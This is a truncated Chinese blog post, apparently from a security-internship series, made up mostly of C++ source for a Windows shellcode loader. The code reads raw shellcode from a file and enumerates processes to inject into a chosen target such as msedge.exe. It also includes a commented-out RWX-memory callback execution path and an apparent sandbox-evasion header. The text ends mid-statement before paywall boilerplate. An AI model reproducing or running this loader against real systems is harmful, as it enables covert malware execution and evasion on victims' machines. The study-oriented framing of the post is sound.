#include "myFunch.h"
#include "SandBox.h"
//上线
//字符转宽字符
//加载shellcode
wchar_t* AtoW(char** a) {
setlocale(LC_ALL, "");
// 原始的char*字符串
char* char_str = *a;
// 确定所需的wchar_t缓冲区的大小
size_t wchar_size = mbstowcs(NULL, char_str, 0) + 1;
if (wchar_size == (size_t)-1) {
perror("mbstowcs");
return 0;
}
// 分配wchar_t缓冲区
wchar_t* wchar_str = (wchar_t*)malloc(wchar_size * sizeof(wchar_t));
if (wchar_str == NULL) {
perror("malloc");
return 0;
}
// 执行转换
mbstowcs(wchar_str, char_str, wchar_size);
return wchar_str;
}
//读取shellcode
// 从文件中读取数据并返回
char* ReadFile(SIZE_T* length, char* file) {
char* filename = file; // 将输入的文件名存储在变量filename中
ifstream infile; // 创建一个输入文件流对象
infile.open(filename, ios::out | ios::binary); // 以二进制只写模式打开文件
// 获取文件大小
infile.seekg(0, infile.end); // 将文件指针移动到文件末尾
*length = infile.tellg(); // 获取文件指针当前位置,即文件大小
infile.seekg(0, infile.beg); // 将文件指针移动回文件开头
// 分配内存以存储文件数据
char* data = new char[*length]; // 使用文件大小分配内存
// 如果文件成功打开,则读取文件内容
if (infile.is_open()) {
cout << "reading from the file" << endl; // 输出提示信息
infile.read(data, *length); // 读取文件内容到data中
}
return data; // 返回读取的文件数据
}
//注入进程
void Inject(char* argv[]) {
SIZE_T length = 0;
char* data;
data = ReadFile(&length, argv[2]);
/*LPVOID mem = VirtualAlloc(NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, data, length);
EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);*/
HANDLE snapshot_handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //快照(留像)
if (snapshot_handle != INVALID_HANDLE_VALUE) {
// 枚举进程
PROCESSENTRY32 process_entry;
process_entry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(snapshot_handle, &process_entry)) {
do {
// 将进程名转换为宽字符串
std::wstring extFileName(process_entry.szExeFile);
wchar_t* exename = AtoW(&argv[3]);
// 如果进程名包含 "msedge.exe" 则进行以下操作 std::string::npos == 当初遍历的进程名
if (extFileName
网络安全生产实习Day 6
最新推荐文章于 2025-12-16 22:02:22 发布

最低0.47元/天 解锁文章
1991

被折叠的 条评论
为什么被折叠?



